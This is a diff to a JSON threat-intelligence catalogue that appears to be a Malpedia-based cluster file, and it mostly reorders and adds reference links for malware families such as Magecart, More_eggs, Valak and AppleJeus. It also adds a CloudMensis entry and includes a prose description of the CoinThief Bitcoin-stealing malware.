"https://www.fortinet.com/blog/threat-research/new-strrat-rat-phishing-campaign", + "https://www.gdatasoftware.com/blog/strrat-crimson", + "https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/", + "https://www.jaiminton.com/reverse-engineering/strrat", + "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-strrat-zloader-honeygain", + "https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape", "https://forensicitguy.github.io/strrat-attached-to-msi/", "https://www.jaiminton.com/reverse-engineering/strrat#", - "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-strrat-zloader-honeygain" + "https://isc.sans.edu/diary/rss/27798", + "https://www.fortinet.com/blog/threat-research/new-strrat-rat-phishing-campaign", + "https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf" ], "synonyms": [], "type": [] @@ -6765,9 +7104,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.airbreak", - "https://www.fireeye.com/blog/threat-research/2018/07/chinese-espionage-group-targets-cambodia-ahead-of-elections.html", + "https://www.secureworks.com/research/threat-profiles/bronze-mohawk", "http://www.kahusecurity.com/posts/reflow_javascript_backdoor.html", - "https://www.secureworks.com/research/threat-profiles/bronze-mohawk" + "https://www.fireeye.com/blog/threat-research/2018/07/chinese-espionage-group-targets-cambodia-ahead-of-elections.html" ], "synonyms": [ "Orz" @@ -6783,10 +7122,10 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.bateleur", "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", - "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", "https://www.secureworks.com/research/threat-profiles/gold-niagara", - "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", - "https://www.proofpoint.com/us/threat-insight/post/fin7carbanak-threat-actor-unleashes-bateleur-jscript-backdoor" + "https://www.proofpoint.com/us/threat-insight/post/fin7carbanak-threat-actor-unleashes-bateleur-jscript-backdoor", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", + "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/" ], "synonyms": [], "type": [] @@ -6800,8 +7139,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.bellhop", "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", - "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", - "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" + "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf" ], "synonyms": [], "type": [] @@ -6814,12 +7153,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.cactustorch", - "https://www.macnica.net/file/mpression_automobile.pdf", "https://github.com/mdsecactivebreach/CACTUSTORCH", - "https://www.seqrite.com/documents/en/white-papers/Seqrite-WhitePaper-Operation-SideCopy.pdf", - "https://forensicitguy.github.io/analyzing-cactustorch-hta-cobaltstrike/", + "https://www.macnica.net/file/mpression_automobile.pdf", + "https://www.microsoft.com/security/blog/2020/09/24/gadolinium-detecting-empires-cloud/", "https://www.codercto.com/a/46729.html", - "https://www.microsoft.com/security/blog/2020/09/24/gadolinium-detecting-empires-cloud/" + "https://www.seqrite.com/documents/en/white-papers/Seqrite-WhitePaper-Operation-SideCopy.pdf", + "https://forensicitguy.github.io/analyzing-cactustorch-hta-cobaltstrike/" ], "synonyms": [], "type": [] @@ -6832,7 +7171,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.chromeback", - "https://www.gosecure.net/blog/2022/02/10/malicious-chrome-browser-extension-exposed-chromeback-leverages-silent-extension-loading/" + "https://www.gosecure.net/blog/2022/02/10/malicious-chrome-browser-extension-exposed-chromeback-leverages-silent-extension-loading/", + "https://unit42.paloaltonetworks.com/chromeloader-malware/" ], "synonyms": [], "type": [] @@ -6845,8 +7185,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.cryptonight", - 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"https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf", - "https://www.reflectiz.com/ico-fines-ticketmaster-uk-1-25-million-for-security-failures-a-lesson-to-be-learned/", - "https://community.riskiq.com/article/fda1f967", - "https://community.riskiq.com/article/2efc2782", - "https://www.goggleheadedhacker.com/blog/post/14", - "https://www.riskiq.com/blog/labs/magecart-group-12-olympics/", - "https://geminiadvisory.io/keeper-magecart-group-infects-570-sites/", - "https://geminiadvisory.io/magecart-google-tag-manager/", - "https://community.riskiq.com/article/5bea32aa", - "https://www.riskiq.com/blog/labs/misconfigured-s3-buckets/", - "https://blog.malwarebytes.com/threat-analysis/2019/06/magecart-skimmers-found-on-amazon-cloudfront-cdn/", - "https://www.crowdstrike.com/blog/threat-actor-magecart-coming-to-an-ecommerce-store-near-you/", - "https://blog.malwarebytes.com/cybercrime/2019/04/github-hosted-magecart-skimmer-used-against-hundreds-of-e-commerce-sites/", - "https://marcoramilli.com/2020/02/19/uncovering-new-magecart-implant-attacking-ecommerce/", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/injecting-magecart-into-magento-global-config/", - "https://www.perimeterx.com/blog/analyzing_magecart_malware_from_zero_to_hero/", - "https://www.zdnet.com/article/web-skimmers-found-on-the-websites-of-intersport-claires-and-icing/", - "https://community.riskiq.com/article/30f22a00", - "https://securelist.com/apt-trends-report-q2-2019/91897/", - "https://community.riskiq.com/article/14924d61", - "https://blog.sucuri.net/2020/06/evasion-tactics-in-hybrid-credit-card-skimmers.html", - "https://maxkersten.nl/2020/01/20/ticket-resellers-infected-with-a-credit-card-skimmer/", - "https://medium.com/reflectiz/csp-the-right-solution-for-the-web-skimming-pandemic-acb7a4414218", - "https://sansec.io/research/magecart-corona-lockdown", - "https://www.riskiq.com/blog/labs/magecart-ticketmaster-breach/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/magecart-skimming-attack-targets-mobile-users-of-hotel-chain-booking-websites/", - "https://blog.malwarebytes.com/threat-analysis/2020/06/web-skimmer-hides-within-exif-metadata-exfiltrates-credit-cards-via-image-files/", - "https://blog.sucuri.net/2020/11/css-js-steganography-in-fake-flash-player-update-malware.html", - "https://blog.malwarebytes.com/cybercrime/2021/06/lil-skimmer-the-magecart-impersonator/", - "https://twitter.com/MBThreatIntel/status/1416101496022724609", "https://maxkersten.nl/2020/02/24/closing-in-on-magecart-12/", + "https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf", + "https://blog.malwarebytes.com/cybercrime/2021/05/newly-observed-php-based-skimmer-shows-ongoing-magecart-group-12-activity/", + "https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://maxkersten.nl/2020/01/20/ticket-resellers-infected-with-a-credit-card-skimmer/", + "https://marcoramilli.com/2020/02/19/uncovering-new-magecart-implant-attacking-ecommerce/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/mirrorthief-group-uses-magecart-skimming-attack-to-hit-hundreds-of-campus-online-stores-in-us-and-canada/", + "https://www.crowdstrike.com/blog/threat-actor-magecart-coming-to-an-ecommerce-store-near-you/", + "https://www.perimeterx.com/blog/analyzing_magecart_malware_from_zero_to_hero/", + "https://community.riskiq.com/article/743ea75b/description", + "https://maxkersten.nl/2020/02/17/following-the-tracks-of-magecart-12/", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0719.pdf", + "https://sansec.io/research/north-korea-magecart", "https://blog.sucuri.net/2020/07/skimmers-in-images-github-repos.html", - "https://www.reflectiz.com/the-gocgle-web-skimming-campaign/" + "https://www.reflectiz.com/the-gocgle-web-skimming-campaign/", + "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "https://www.goggleheadedhacker.com/blog/post/14", + "https://www.riskiq.com/blog/labs/magecart-nutribullet/", + "https://twitter.com/AffableKraut/status/1415425132080816133?s=20", + "https://twitter.com/MBThreatIntel/status/1416101496022724609", + "https://www.reflectiz.com/ico-fines-ticketmaster-uk-1-25-million-for-security-failures-a-lesson-to-be-learned/", + "https://www.riskiq.com/blog/labs/magecart-ticketmaster-breach/", + "https://blog.malwarebytes.com/cybercrime/2019/04/github-hosted-magecart-skimmer-used-against-hundreds-of-e-commerce-sites/", + "https://www.riskiq.com/blog/labs/magecart-medialand/", + "https://blog.malwarebytes.com/threat-intelligence/2021/11/credit-card-skimmer-evades-virtual-machines/", + "https://geminiadvisory.io/magecart-google-tag-manager/", + "https://community.riskiq.com/article/fda1f967", + "https://sansec.io/research/magento-2-persistent-parasite", + "https://community.riskiq.com/article/2efc2782", + "https://scotthelme.co.uk/introducing-script-watch-detect-magecart-style-attacks-fast/?utm_source=dlvr.it&utm_medium=twitter", + "https://www.riskiq.com/blog/labs/magecart-group-12-olympics/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/injecting-magecart-into-magento-global-config/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/magecart-skimming-attack-targets-mobile-users-of-hotel-chain-booking-websites/", + "https://sansec.io/research/magecart-corona-lockdown", + "https://blog.trendmicro.com/trendlabs-security-intelligence/us-local-government-services-targeted-by-new-magecart-credit-card-skimming-attack/", + "https://www.riskiq.com/blog/labs/magecart-group-4-always-advancing/", + "https://community.riskiq.com/article/017cf2e6", + "https://www.riskiq.com/blog/labs/misconfigured-s3-buckets/", + "https://sansec.io/labs/2020/01/25/magecart-hackers-arrested/", + "https://community.riskiq.com/article/30f22a00", + "https://blog.malwarebytes.com/threat-analysis/2020/06/web-skimmer-hides-within-exif-metadata-exfiltrates-credit-cards-via-image-files/", + "https://blog.malwarebytes.com/cybercrime/2021/06/lil-skimmer-the-magecart-impersonator/", + "https://blog.sucuri.net/2020/06/evasion-tactics-in-hybrid-credit-card-skimmers.html", + "https://blog.malwarebytes.com/threat-intelligence/2021/09/the-many-tentacles-of-magecart-group-8/", + "https://www.zdnet.com/article/web-skimmers-found-on-the-websites-of-intersport-claires-and-icing/", + "https://blog.malwarebytes.com/threat-analysis/2019/06/magecart-skimmers-found-on-amazon-cloudfront-cdn/", + "https://medium.com/reflectiz/csp-the-right-solution-for-the-web-skimming-pandemic-acb7a4414218", + "https://community.riskiq.com/article/14924d61", + "https://community.riskiq.com/article/5bea32aa", + "https://blog.trendmicro.com/trendlabs-security-intelligence/fin6-compromised-e-commerce-platform-via-magecart-to-inject-credit-card-skimmers-into-thousands-of-online-shops/", + "https://securelist.com/apt-trends-report-q2-2019/91897/", + "https://twitter.com/AffableKraut/status/1385030485676544001", + "https://geminiadvisory.io/wp-content/uploads/2020/07/Appendix-C-1.pdf", + "https://blog.malwarebytes.com/threat-intelligence/2021/10/q-logger-skimmer-keeps-magecart-attacks-going/", + "https://blog.sucuri.net/2021/07/magecart-swiper-uses-unorthodox-concatenation.html", + "https://blog.sucuri.net/2020/11/css-js-steganography-in-fake-flash-player-update-malware.html", + "https://geminiadvisory.io/keeper-magecart-group-infects-570-sites/" ], "synonyms": [], "type": [] @@ -7205,29 +7565,30 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.more_eggs", - "https://twitter.com/Arkbird_SOLG/status/1301536930069278727", + "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/", + "https://blog.morphisec.com/cobalt-gang-2.0", + "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/", "https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses/", "https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish", - "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/", - "https://www.bitdefender.com/files/News/CaseStudies/study/262/Bitdefender-WhitePaper-An-APT-Blueprint-Gaining-New-Visibility-into-Financial-Threats-interactive.pdf", - "https://asert.arbornetworks.com/double-the-infection-double-the-fun/", + "https://www.esentire.com/security-advisories/hackers-spearphish-professionals-on-linkedin-with-fake-job-offers-infecting-them-with-malware-warns-esentire", "https://www.secureworks.com/research/threat-profiles/gold-kingswood", - "https://mp.weixin.qq.com/s/REXBtbnI2zXj4H3u6ofMMw", - "https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/", "http://www.secureworks.com/research/threat-profiles/gold-kingswood", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html", + "https://quointelligence.eu/2020/07/golden-chickens-evolution-of-the-maas/", + "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", + "https://expel.com/blog/more-eggs-and-some-linkedin-resume-spearphishing", + "https://attack.mitre.org/software/S0284/", + "https://asert.arbornetworks.com/double-the-infection-double-the-fun/", + "https://github.com/eset/malware-ioc/tree/master/evilnum", + "https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/", + "https://mp.weixin.qq.com/s/REXBtbnI2zXj4H3u6ofMMw", + "https://twitter.com/Arkbird_SOLG/status/1301536930069278727", "https://www.proofpoint.com/us/threat-insight/post/fake-jobs-campaigns-delivering-moreeggs-backdoor-fake-job-offers", "https://securityintelligence.com/posts/itg08-aka-fin6-partners-with-trickbot-gang-uses-anchor-framework/", - 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"https://blogs.jpcert.or.jp/ja/2019/02/tick-activity.html" + "https://www.virusbulletin.com/virusbulletin/2020/05/vb2019-paper-apt-cases-exploiting-vulnerabilities-regionspecific-software/" ], "synonyms": [], "type": [] @@ -7274,15 +7635,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.ostap", - "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", - "https://www.bromium.com/deobfuscating-ostap-trickbots-javascript-downloader/", - "https://www.intrinsec.com/deobfuscating-hunting-ostap/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/latest-trickbot-campaign-delivered-via-highly-obfuscated-js-file/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", "https://malfind.com/index.php/2021/11/24/from-the-archive-1-ostap-dropper-deobfuscation-and-analysis/", "https://labs.bitdefender.com/2020/03/5-times-more-coronavirus-themed-malware-reports-during-march/?utm_campaign=twitter&utm_medium=twitter&utm_source=twitter", - "https://www.cert.pl/en/news/single/ostap-malware-analysis-backswap-dropper/", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://github.com/cryptogramfan/Malware-Analysis-Scripts/blob/master/deobfuscate_ostap.py" + "https://blog.trendmicro.com/trendlabs-security-intelligence/latest-trickbot-campaign-delivered-via-highly-obfuscated-js-file/", + "https://www.bromium.com/deobfuscating-ostap-trickbots-javascript-downloader/", + "https://www.intrinsec.com/deobfuscating-hunting-ostap/", + "https://github.com/cryptogramfan/Malware-Analysis-Scripts/blob/master/deobfuscate_ostap.py", + "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", + "https://www.cert.pl/en/news/single/ostap-malware-analysis-backswap-dropper/" ], "synonyms": [], "type": [] @@ -7308,9 +7669,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.peacenotwar", - "https://www.vice.com/en/article/dypeek/open-source-sabotage-node-ipc-wipe-russia-belraus-computers", "https://www.bleepingcomputer.com/news/security/big-sabotage-famous-npm-package-deletes-files-to-protest-ukraine-war/", - "https://gist.github.com/MidSpike/f7ae3457420af78a54b38a31cc0c809c" + "https://gist.github.com/MidSpike/f7ae3457420af78a54b38a31cc0c809c", + "https://www.vice.com/en/article/dypeek/open-source-sabotage-node-ipc-wipe-russia-belraus-computers" ], "synonyms": [], "type": [] @@ -7363,11 +7724,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.scanbox", - "https://www.secureworks.com/research/threat-profiles/bronze-mohawk", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/attacker-tracking-users-seeking-pakistani-passport/", - "https://www.proofpoint.com/us/blog/threat-insight/ta413-leverages-new-friarfox-browser-extension-target-gmail-accounts-global", - "https://www.alienvault.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks", "http://resources.infosecinstitute.com/scanbox-framework/", + "https://www.secureworks.com/research/threat-profiles/bronze-mohawk", + "https://www.proofpoint.com/us/blog/threat-insight/ta413-leverages-new-friarfox-browser-extension-target-gmail-accounts-global", + "https://www.proofpoint.com/us/blog/threat-insight/chasing-currents-espionage-south-china-sea", + "https://www.alienvault.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks", "https://www.volexity.com/blog/2019/09/02/digital-crackdown-large-scale-surveillance-and-exploitation-of-uyghurs/" ], "synonyms": [], @@ -7382,8 +7744,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.sqlrat", "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", - 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"https://community.riskiq.com/projects/53b4bd1e-dad0-306b-7712-d2a608400c8f", - "https://gist.github.com/9b/141a5c7ab8b4280901722e2cd931b7ef" + "https://gist.github.com/9b/141a5c7ab8b4280901722e2cd931b7ef", + "https://community.riskiq.com/projects/53b4bd1e-dad0-306b-7712-d2a608400c8f" ], "synonyms": [], "type": [] @@ -7515,15 +7877,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/js.valak", - "https://threatresearch.ext.hp.com/detecting-ta551-domains/", - "https://medium.com/@prsecurity_/casual-analysis-of-valak-c2-3497fdb79bf7", - "https://twitter.com/malware_traffic/status/1207824548021886977", "https://security-soup.net/analysis-of-valak-maldoc/", - "https://www.cybereason.com/blog/valak-more-than-meets-the-eye", - "https://labs.sentinelone.com/valak-malware-and-the-connection-to-gozi-loader-confcrew/", "https://unit42.paloaltonetworks.com/valak-evolution/", + "https://medium.com/@prsecurity_/casual-analysis-of-valak-c2-3497fdb79bf7", "https://securityintelligence.com/posts/sodinokibi-ransomware-incident-response-intelligence-together/", - "https://blog.talosintelligence.com/2020/07/valak-emerges.html" + "https://twitter.com/malware_traffic/status/1207824548021886977", + "https://blog.talosintelligence.com/2020/07/valak-emerges.html", + "https://unit42.paloaltonetworks.com/atoms/monsterlibra/", + "https://labs.sentinelone.com/valak-malware-and-the-connection-to-gozi-loader-confcrew/", + "https://www.cybereason.com/blog/valak-more-than-meets-the-eye", + "https://threatresearch.ext.hp.com/detecting-ta551-domains/" ], "synonyms": [ "Valek" @@ -7551,9 +7914,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/jsp.godzilla_webshell", - "https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/", "https://unit42.paloaltonetworks.com/tiltedtemple-manageengine-servicedesk-plus/", - "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/" + "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/", + "https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/" ], "synonyms": [], "type": [] @@ -7567,25 +7930,26 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.applejeus", "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048e", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048g", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048c", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048b", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048a", - "https://objective-see.com/blog/blog_0x54.html", - "https://securelist.com/apt-trends-report-q2-2020/97937/", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048f", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://securelist.com/operation-applejeus-sequel/95596/", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048d", - "https://securelist.com/operation-applejeus/87553/", - "https://objective-see.com/blog/blog_0x5F.html", - "https://posts.specterops.io/introducing-venator-a-macos-tool-for-proactive-detection-34055a017e56", - "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", + "https://objective-see.com/blog/blog_0x54.html", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048a", "https://objective-see.com/blog/blog_0x49.html", - "https://www.youtube.com/watch?v=1NkzTKkEM2k" + "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048g", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048e", + "https://objective-see.com/blog/blog_0x5F.html", + "https://securelist.com/operation-applejeus/87553/", + "https://posts.specterops.io/introducing-venator-a-macos-tool-for-proactive-detection-34055a017e56", + "https://securelist.com/apt-trends-report-q2-2020/97937/", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048c", + "https://www.youtube.com/watch?v=1NkzTKkEM2k", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048d", + "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", + "https://www.youtube.com/watch?v=rjA0Vf75cYk", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048f", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048b", + "https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/" ], "synonyms": [], "type": [] @@ -7598,8 +7962,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.bella", - "https://threatintel.blog/OPBlueRaven-Part2/", "https://github.com/kai5263499/Bella", + "https://threatintel.blog/OPBlueRaven-Part2/", "https://blog.malwarebytes.com/threat-analysis/2017/05/another-osx-dok-dropper-found-installing-new-backdoor/" ], "synonyms": [], @@ -7613,11 +7977,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.bundlore", + "https://www.trendmicro.com/en_hk/research/21/f/nukesped-copies-fileless-code-from-bundlore--leaves-it-unused.html", "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", "https://blog.confiant.com/new-macos-bundlore-loader-analysis-ca16d19c058c", - "https://labs.sentinelone.com/resourceful-macos-malware-hides-in-named-fork/", - "https://www.trendmicro.com/en_hk/research/21/f/nukesped-copies-fileless-code-from-bundlore--leaves-it-unused.html", - "https://twitter.com/ConfiantIntel/status/1393215825931288580?s=20" + "https://twitter.com/ConfiantIntel/status/1393215825931288580?s=20", + "https://labs.sentinelone.com/resourceful-macos-malware-hides-in-named-fork/" ], "synonyms": [ "SurfBuyer" @@ -7662,8 +8026,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.cdds", "https://www.sentinelone.com/labs/infect-if-needed-a-deeper-dive-into-targeted-backdoor-macos-macma/", - "https://objective-see.com/blog/blog_0x69.html", - "https://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits/" + "https://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits/", + "https://objective-see.com/blog/blog_0x69.html" ], "synonyms": [ "Macma" @@ -7679,8 +8043,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.choziosi", "https://redcanary.com/blog/chromeloader/", + "https://www.th3protocol.com/2022/Choziosi-Loader", "https://www.gdatasoftware.com/blog/2022/01/37236-qr-codes-on-twitter-deliver-malicious-chrome-extension", - "https://www.th3protocol.com/2022/Choziosi-Loader" + "https://www.crowdstrike.com/blog/how-crowdstrike-uncovered-a-new-macos-browser-hijacking-campaign/" ], "synonyms": [ "ChromeLoader", @@ -7691,13 +8056,26 @@ "uuid": "57f75f24-b77b-46b3-a06a-57d49374fb82", "value": "Choziosi (OS X)" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/osx.cloud_mensis", + "https://www.welivesecurity.com/2022/07/19/i-see-what-you-did-there-look-cloudmensis-macos-spyware/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "557fc183-f51a-4740-b2dd-5e81e6f6690a", + "value": "CloudMensis" + }, { "description": "CoinThief was a malware package designed to steal Bitcoins from the victim, consisting of a binary patcher, browser extensions, and a backdoor component. \r\n\r\nIt was spreading in early 2014 from several different sources: \r\n- on Github (where the trojanized compiled binary didn’t match the displayed source code), o\r\n- on popular and trusted download sites line CNET's Download.com or MacUpdate.com, and \r\n- as cracked applications via torrents camouflaged as Bitcoin Ticker TTM, BitVanity, StealthBit, Litecoin Ticker, BBEdit, Pixelmator, Angry Birds and Delicious Library.\r\n\r\nThe patcher‘s role was to locate and modify legitimate versions of the Bitcoin-Qt wallet application. The analyzed malware samples targeted versions of Bitcoin-Qt 0.8.1, 0.8.0 and 0.8.5. The earlier patch modified Bitcoin-Qt adding malicious code that would send nearly all the victim’s Bitcoins to one of the hard-coded addresses belonging to the attacker. \r\n\r\nThe browser extensions targeted Chrome and Firefox and are disguised as a “Pop-up blocker”. The extensions monitored visited websites, download malicious JavaScripts and injected them into various Bitcoin-related websites (mostly Bitcoin exchanges and online wallet sites). The injected JS scripts were able to modify transactions to redirect Bitcoin transfers to an attacker’s address or simply harvest login credentials to the targeted online service.\r\n\r\nThe backdoor enabled the attacker to take full control over the victim’s computer:\r\n- collect information about the infected computer\r\n- execute arbitrary shell scripts on the target computer\r\n- upload an arbitrary file from the victim’s hard drive to a remote server\r\n- update itself to a newer version", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.cointhief", - "https://www.alienvault.com/blogs/labs-research/os-x-malware-samples-analyzed", - "https://reverse.put.as/2014/02/16/analysis-of-cointhiefa-dropper/" + "https://reverse.put.as/2014/02/16/analysis-of-cointhiefa-dropper/", + "https://www.alienvault.com/blogs/labs-research/os-x-malware-samples-analyzed" ], "synonyms": [], "type": [] @@ -7710,8 +8088,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.coldroot_rat", - "https://objectivebythesea.com/v2/talks/OBTS_v2_Seele.pdf", - "https://objective-see.com/blog/blog_0x2A.html" + "https://objective-see.com/blog/blog_0x2A.html", + "https://objectivebythesea.com/v2/talks/OBTS_v2_Seele.pdf" ], "synonyms": [], "type": [] @@ -7750,9 +8128,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.creative_updater", - "https://blog.malwarebytes.com/threat-analysis/2018/02/new-mac-cryptominer-distributed-via-a-macupdate-hack/", + "https://digitasecurity.com/blog/2018/02/05/creativeupdater/", "https://objective-see.com/blog/blog_0x29.html", - "https://digitasecurity.com/blog/2018/02/05/creativeupdater/" + "https://blog.malwarebytes.com/threat-analysis/2018/02/new-mac-cryptominer-distributed-via-a-macupdate-hack/" ], "synonyms": [], "type": [] @@ -7765,9 +8143,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.crisis", + "https://www.symantec.com/connect/blogs/crisis-windows-sneaks-virtual-machines", "https://www.intego.com/mac-security-blog/new-apple-mac-trojan-called-osxcrisis-discovered-by-intego-virus-team/?", - "http://contagiodump.blogspot.com/2012/12/aug-2012-w32crisis-and-osxcrisis-jar.html", - "https://www.symantec.com/connect/blogs/crisis-windows-sneaks-virtual-machines" + "http://contagiodump.blogspot.com/2012/12/aug-2012-w32crisis-and-osxcrisis-jar.html" ], "synonyms": [], "type": [] @@ -7793,16 +8171,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/osx.dacls", - "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability", "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/", - "https://securelist.com/mata-multi-platform-targeted-malware-framework/97746/", + "https://objective-see.com/blog/blog_0x57.html", "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability", + "https://securelist.com/mata-multi-platform-targeted-malware-framework/97746/", "https://www.sygnia.co/mata-framework", - "https://securelist.com/apt-trends-report-q2-2020/97937/", 